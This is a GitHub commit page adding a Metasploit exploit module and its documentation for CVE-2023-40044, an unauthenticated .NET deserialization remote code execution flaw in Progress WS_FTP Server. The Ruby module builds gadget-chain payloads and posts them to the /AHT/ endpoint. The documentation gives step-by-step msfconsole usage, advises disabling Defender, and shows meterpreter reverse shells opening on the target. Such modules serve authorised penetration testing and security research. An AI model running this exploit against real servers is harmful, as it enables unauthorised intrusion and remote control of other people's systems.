-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #18414, Exploit module for CVE-2023-40044
Exploit module for CVE-2023-40044 (WS_FTP unauthenticated RCE)
- Loading branch information
Showing
2 changed files
with
298 additions
and
0 deletions.
There are no files selected for viewing
147 changes: 147 additions & 0 deletions
147
documentation/modules/exploit/windows/http/ws_ftp_rce_cve_2023_40044.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,147 @@ | ||
## Vulnerable Application | ||
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code | ||
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server | ||
prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability was | ||
originally discovered by AssetNote. | ||
|
||
For a full technical analysis of the vulnerability read the | ||
[Rapid7 AttackerKB Analysis](https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis). | ||
|
||
## Testing | ||
Download and install a vulnerable version of WS_FTP server. By default the server will listen for HTTPS connections | ||
on port 443. The vulnerability is in the Ad Hoc Transfer module which is installed by default. This exploit | ||
module was tested against WS_FTP Server 2020.0.1 (version 8.7.1) and WS_FTP Server 2022.0.1 (version 8.8.1). | ||
|
||
## Verification Steps | ||
Note: Disable Defender if you are using the default payloads. | ||
|
||
Steps: | ||
1. Start msfconsole | ||
2. `use exploit/windows/http/ws_ftp_rce_cve_2023_40044` | ||
3. `set RHOST <TARGET_IP>` | ||
4. Set a Target: | ||
* `set target 0` for Windows Command. | ||
* `set target 1` for Windows Powershell. | ||
5. Set a suitable PAYLOAD for the chosen target: | ||
* `set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp` for Windows Command target. | ||
* `set PAYLOAD x64/meterpreter/reverse_tcp` for Windows Powershell target. | ||
6. `check` | ||
7. `exploit` | ||
|
||
## Scenarios | ||
|
||
### Windows Command | ||
``` | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set RHOST 192.168.86.50 | ||
RHOST => 192.168.86.50 | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set target 0 | ||
target => 0 | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set PAYLOAD cmd/windows/http/x64/meterpreter/reverse_tcp | ||
PAYLOAD => cmd/windows/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options | ||
Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 443 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
TARGET_URI /AHT/ no Target URI. Must begin with /AHT/ | ||
VHOST no HTTP server virtual host | ||
Payload options (cmd/windows/http/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILENAME NrkcXGOM no Name to use on remote system when storing payload; cannot contain spaces. | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces. | ||
LHOST 192.168.86.42 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
0 Windows Command | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > check | ||
[*] 192.168.86.50:443 - The target appears to be vulnerable. Detected a build date of 28-2-2023 | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit | ||
[*] Started reverse TCP handler on 192.168.86.42:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Detected a build date of 28-2-2023 | ||
[*] Sending stage (200774 bytes) to 192.168.86.50 | ||
[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.50:49754) at 2023-10-02 11:32:33 +0100 | ||
meterpreter > getuid | ||
Server username: NT AUTHORITY\NETWORK SERVICE | ||
meterpreter > | ||
``` | ||
|
||
### Windows Powershell | ||
|
||
``` | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set target 1 | ||
target => 1 | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > set PAYLOAD windows/x64/meterpreter/reverse_tcp | ||
PAYLOAD => windows/x64/meterpreter/reverse_tcp | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > show options | ||
Module options (exploit/windows/http/ws_ftp_rce_cve_2023_40044): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...] | ||
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 443 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
TARGET_URI /AHT/ no Target URI. Must begin with /AHT/ | ||
VHOST no HTTP server virtual host | ||
Payload options (windows/x64/meterpreter/reverse_tcp): | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) | ||
LHOST 192.168.86.42 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
Exploit target: | ||
Id Name | ||
-- ---- | ||
1 Windows Powershell | ||
View the full module info with the info, or info -d command. | ||
msf6 exploit(windows/http/ws_ftp_rce_cve_2023_40044) > exploit | ||
[*] Started reverse TCP handler on 192.168.86.42:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Detected a build date of 28-2-2023 | ||
[*] Sending stage (200774 bytes) to 192.168.86.50 | ||
[*] Meterpreter session 2 opened (192.168.86.42:4444 -> 192.168.86.50:49755) at 2023-10-02 11:34:01 +0100 | ||
meterpreter > getuid | ||
Server username: NT AUTHORITY\NETWORK SERVICE | ||
meterpreter > | ||
``` |
151 changes: 151 additions & 0 deletions
151
modules/exploits/windows/http/ws_ftp_rce_cve_2023_40044.rb
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,151 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Progress Software WS_FTP Unauthenticated Remote Code Execution', | ||
'Description' => %q{ | ||
This module exploits an unsafe .NET deserialization vulnerability to achieve unauthenticated remote code | ||
execution against a vulnerable WS_FTP server running the Ad Hoc Transfer module. All versions of WS_FTP Server | ||
prior to 2020.0.4 (version 8.7.4) and 2022.0.2 (version 8.8.2) are vulnerable to this issue. The vulnerability | ||
was originally discovered by AssetNote. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'sfewer-r7', # MSF Exploit & Rapid7 Analysis | ||
], | ||
'References' => [ | ||
['CVE', '2023-40044'], | ||
['URL', 'https://attackerkb.com/topics/bn32f9sNax/cve-2023-40044/rapid7-analysis'], | ||
['URL', 'https://community.progress.com/s/article/WS-FTP-Server-Critical-Vulnerability-September-2023'], | ||
['URL', 'https://www.assetnote.io/resources/research/rce-in-progress-ws-ftp-ad-hoc-via-iis-http-modules-cve-2023-40044'] | ||
], | ||
'DisclosureDate' => '2023-09-27', | ||
'Platform' => %w[win], | ||
'Arch' => [ARCH_CMD], | ||
# 5000 will allow the powershell payloads to work as they require ~4200 bytes. Notably, the ClaimsPrincipal and | ||
# TypeConfuseDelegate (but not TextFormattingRunProperties) gadget chains will fail if Space is too large (e.g. | ||
# 8192 bytes), as the encoded payload command is padded with leading whitespace characters (0x20) to consume | ||
# all the available payload space via ./modules/nops/cmd/generic.rb). | ||
'Payload' => { 'Space' => 5000 }, | ||
'Privileged' => false, # Code execution as `NT AUTHORITY\NETWORK SERVICE`. | ||
'Targets' => [ | ||
[ | ||
'Windows', {} | ||
] | ||
], | ||
'DefaultOptions' => { | ||
'RPORT' => 443, | ||
'SSL' => true | ||
}, | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
# This URI path can be anything so long as it begins with /AHT/. We default ot /AHT/ as it is less obvious in | ||
# the IIS logs as to what the request is for, however the user can change this as needed if required. | ||
Msf::OptString.new('TARGET_URI', [ false, 'Target URI used to exploit the deserialization vulnerability. Must begin with /AHT/', '/AHT/']), | ||
] | ||
) | ||
end | ||
|
||
def check | ||
# As the vulnerability lies in the WS_FTP Ad Hoc Transfer (AHT) module, we query the index HTML file for AHT. | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => '/AHT/AHT_UI/public/index.html' | ||
) | ||
|
||
return CheckCode::Unknown('Connection failed') unless res | ||
|
||
title = Nokogiri::HTML(res.body).xpath('//head/title')&.text | ||
|
||
# We verify the target is running the AHT module, by inspecting the HTML heads title. | ||
if title == 'Ad Hoc Transfer' | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => '/AHT/AHT_UI/public/js/app.min.js' | ||
) | ||
|
||
return CheckCode::Unknown('Connection failed') unless res | ||
|
||
# The patched versions were released on September 2023. We can query the date stamp in the app.min.js file | ||
# to see when this file was built. If it is before Sept 2023, then we have a vulnerable version of WS_FTP, | ||
# but if it was build on Sept 2023 or after, it is not vulnerable. | ||
|
||
if res.code == 200 && res.body =~ %r{/\*! fileTransfer (\d+)-(\d+)-(\d+) \*/} | ||
day = ::Regexp.last_match(1).to_i | ||
month = ::Regexp.last_match(2).to_i | ||
year = ::Regexp.last_match(3).to_i | ||
|
||
description = "Detected a build date of #{day}-#{month}-#{year}" | ||
|
||
if year > 2023 || (year == 2023 && month >= 9) | ||
return CheckCode::Safe(description) | ||
end | ||
|
||
return CheckCode::Appears(description) | ||
end | ||
|
||
# If we couldn't get the JS build date, we at least know the target is WS_FTP with the Ad Hoc Transfer module. | ||
return CheckCode::Detected | ||
end | ||
|
||
CheckCode::Unknown | ||
end | ||
|
||
def exploit | ||
unless datastore['TARGET_URI'].start_with? '/AHT/' | ||
fail_with(Failure::BadConfig, 'The TARGET_URI must begin with /AHT/') | ||
end | ||
|
||
# All of these gadget chains will work. We pick a random one during exploitation. | ||
chains = %i[ClaimsPrincipal TypeConfuseDelegate TextFormattingRunProperties] | ||
|
||
gadget = ::Msf::Util::DotNetDeserialization.generate( | ||
payload.encoded, | ||
gadget_chain: chains.sample, | ||
formatter: :BinaryFormatter | ||
) | ||
|
||
# We can reach the unsafe deserialization via either of these tags. We pick a random one during exploitation. | ||
tags = %w[AHT_DEFAULT_UPLOAD_PARAMETER AHT_UPLOAD_PARAMETER] | ||
|
||
message = Rex::MIME::Message.new | ||
|
||
part = message.add_part("::#{tags.sample}::#{Rex::Text.encode_base64(gadget)}\r\n", nil, nil, nil) | ||
|
||
part.header.set('name', rand_text_alphanumeric(8)) | ||
|
||
res = send_request_cgi( | ||
{ | ||
'uri' => normalize_uri(datastore['TARGET_URI']), | ||
'ctype' => 'multipart/form-data; boundary=' + message.bound, | ||
'method' => 'POST', | ||
'data' => message.to_s | ||
} | ||
) | ||
|
||
unless res&.code == 302 | ||
fail_with(Failure::UnexpectedReply, 'Failed to trigger vulnerability') | ||
end | ||
end | ||
|
||
end |